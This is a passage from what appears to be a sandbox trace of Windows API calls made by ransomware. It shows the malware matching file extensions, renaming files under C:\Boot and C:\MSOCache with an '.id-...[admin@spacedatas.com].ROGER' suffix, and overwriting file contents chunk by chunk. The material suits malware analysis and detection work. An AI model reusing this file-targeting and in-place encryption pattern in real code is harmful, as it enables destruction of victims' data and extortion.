(lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.201] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.201] lstrlenW (lpString=".doc") returned 4 [0037.201] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.201] lstrlenW (lpString=".docx") returned 5 [0037.202] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.202] lstrlenW (lpString=".pdf") returned 4 [0037.202] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.202] lstrlenW (lpString=".xls") returned 4 [0037.202] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.202] lstrlenW (lpString=".xlsx") returned 5 [0037.202] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.202] lstrlenW (lpString=".ppt") returned 4 [0037.202] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.202] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.202] lstrlenW (lpString=".zip") returned 4 [0037.202] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.202] lstrlenW (lpString=".rar") returned 4 [0037.202] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.202] lstrlenW (lpString=".bz2") returned 4 [0037.202] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.202] lstrlenW (lpString=".7z") returned 3 [0037.202] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.202] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.202] lstrlenW (lpString=".dbf") returned 4 [0037.202] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.202] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.202] lstrlenW (lpString=".1cd") returned 4 [0037.202] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.202] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.202] lstrlenW (lpString=".jpg") returned 4 [0037.202] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.202] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0037.202] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.202] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.203] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=94800) returned 1 [0037.203] CloseHandle (hObject=0x34c) returned 1 [0037.203] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0037.203] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.203] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.203] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0037.203] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0037.203] lstrlenW (lpString=".doc") returned 4 [0037.203] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.203] lstrlenW (lpString=".docx") returned 5 [0037.203] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.203] lstrlenW (lpString=".pdf") returned 4 [0037.203] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.203] lstrlenW (lpString=".xls") returned 4 [0037.203] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.203] lstrlenW (lpString=".xlsx") returned 5 [0037.203] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.203] lstrlenW (lpString=".ppt") returned 4 [0037.203] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.203] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0037.203] lstrlenW (lpString=".zip") returned 4 [0037.203] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.203] lstrlenW (lpString=".rar") returned 4 [0037.203] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.203] lstrlenW (lpString=".bz2") returned 4 [0037.203] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.204] lstrlenW (lpString=".7z") returned 3 [0037.204] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.205] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0038.191] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0038.193] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=2503680) returned 1 [0038.194] CloseHandle (hObject=0x34c) returned 1 [0038.194] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0038.194] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.194] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0038.194] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0038.194] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0038.194] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.195] ReadFile (in: hFile=0x34c, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.202] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.202] ReadFile (in: hFile=0x34c, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.213] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.213] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.213] ReadFile (in: hFile=0x34c, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.231] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.231] WriteFile (in: hFile=0x34c, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0038.386] SetEndOfFile (hFile=0x34c) returned 1 [0038.386] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4ef80d0 [0038.440] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.440] WriteFile (in: hFile=0x34c, lpBuffer=0x4ef80d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4ef80d0*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.698] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.698] WriteFile (in: hFile=0x34c, lpBuffer=0x4ef80d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4ef80d0*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.704] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.704] WriteFile (in: hFile=0x34c, lpBuffer=0x4ef80d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4ef80d0*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.707] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ef80d0 | out: hHeap=0x790000) returned 1 [0038.707] CloseHandle (hObject=0x34c) returned 1 [0039.080] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0039.080] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.080] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.080] lstrlenW (lpString=".doc") returned 4 [0039.080] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.080] lstrlenW (lpString=".docx") returned 5 [0039.080] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0039.080] lstrlenW (lpString=".pdf") returned 4 [0039.081] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.081] lstrlenW (lpString=".xls") returned 4 [0039.081] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.081] lstrlenW (lpString=".xlsx") returned 5 [0039.081] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0039.081] lstrlenW (lpString=".ppt") returned 4 [0039.081] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.081] lstrlenW (lpString=".zip") returned 4 [0039.081] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.081] lstrlenW (lpString=".rar") returned 4 [0039.081] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.081] lstrlenW (lpString=".bz2") returned 4 [0039.081] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.081] lstrlenW (lpString=".7z") returned 3 [0039.081] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.081] lstrlenW (lpString=".dbf") returned 4 [0039.081] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.081] lstrlenW (lpString=".1cd") returned 4 [0039.081] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.081] lstrlenW (lpString=".jpg") returned 4 [0039.081] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.081] lstrlenW (lpString=".doc") returned 4 [0039.081] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.081] lstrlenW (lpString=".docx") returned 5 [0039.081] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0039.081] lstrlenW (lpString=".pdf") returned 4 [0039.081] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.082] lstrlenW (lpString=".xls") returned 4 [0039.082] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.082] lstrlenW (lpString=".xlsx") returned 5 [0039.082] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0039.082] lstrlenW (lpString=".ppt") returned 4 [0039.082] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.082] lstrlenW (lpString=".zip") returned 4 [0039.082] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.082] lstrlenW (lpString=".rar") returned 4 [0039.082] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.082] lstrlenW (lpString=".bz2") returned 4 [0039.082] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.082] lstrlenW (lpString=".7z") returned 3 [0039.082] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.082] lstrlenW (lpString=".dbf") returned 4 [0039.082] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.082] lstrlenW (lpString=".1cd") returned 4 [0039.082] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0039.082] lstrlenW (lpString=".jpg") returned 4 [0039.082] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.082] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0039.082] lstrlenW (lpString="PubLR.cab") returned 9 [0039.082] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0039.083] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=9958388) returned 1 [0039.083] CloseHandle (hObject=0x34c) returned 1 [0039.083] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0039.083] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0039.083] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0039.084] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0039.084] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0039.084] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.084] ReadFile (in: hFile=0x34c, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.398] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.398] ReadFile (in: hFile=0x34c, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.451] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0039.451] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.451] ReadFile (in: hFile=0x34c, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.514] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.514] WriteFile (in: hFile=0x34c, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0039.533] SetEndOfFile (hFile=0x34c) returned 1 [0039.534] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4ec00c0 [0039.757] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.757] WriteFile (in: hFile=0x34c, lpBuffer=0x4ec00c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4ec00c0*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.759] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.759] WriteFile (in: hFile=0x34c, lpBuffer=0x4ec00c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4ec00c0*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.763] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.763] WriteFile (in: hFile=0x34c, lpBuffer=0x4ec00c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4ec00c0*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.767] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ec00c0 | out: hHeap=0x790000) returned 1 [0039.767] CloseHandle (hObject=0x34c) returned 1 [0041.856] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0041.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.856] lstrlenW (lpString=".doc") returned 4 [0041.856] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.856] lstrlenW (lpString=".docx") returned 5 [0041.856] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.856] lstrlenW (lpString=".pdf") returned 4 [0041.856] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.856] lstrlenW (lpString=".xls") returned 4 [0041.856] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.856] lstrlenW (lpString=".xlsx") returned 5 [0041.856] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.856] lstrlenW (lpString=".ppt") returned 4 [0041.857] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.857] lstrlenW (lpString=".zip") returned 4 [0041.857] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.857] lstrlenW (lpString=".rar") returned 4 [0041.857] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.857] lstrlenW (lpString=".bz2") returned 4 [0041.857] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.857] lstrlenW (lpString=".7z") returned 3 [0041.857] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.857] lstrlenW (lpString=".dbf") returned 4 [0041.857] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.857] lstrlenW (lpString=".1cd") returned 4 [0041.857] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.857] lstrlenW (lpString=".jpg") returned 4 [0041.857] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.857] lstrlenW (lpString=".doc") returned 4 [0041.857] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.857] lstrlenW (lpString=".docx") returned 5 [0041.857] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.857] lstrlenW (lpString=".pdf") returned 4 [0041.857] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.857] lstrlenW (lpString=".xls") returned 4 [0041.857] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.857] lstrlenW (lpString=".xlsx") returned 5 [0041.857] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.857] lstrlenW (lpString=".ppt") returned 4 [0041.858] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.858] lstrlenW (lpString=".zip") returned 4 [0041.858] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.858] lstrlenW (lpString=".rar") returned 4 [0041.858] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.858] lstrlenW (lpString=".bz2") returned 4 [0041.858] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.858] lstrlenW (lpString=".7z") returned 3 [0041.858] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.858] lstrlenW (lpString=".dbf") returned 4 [0041.858] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.858] lstrlenW (lpString=".1cd") returned 4 [0041.858] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.858] lstrlenW (lpString=".jpg") returned 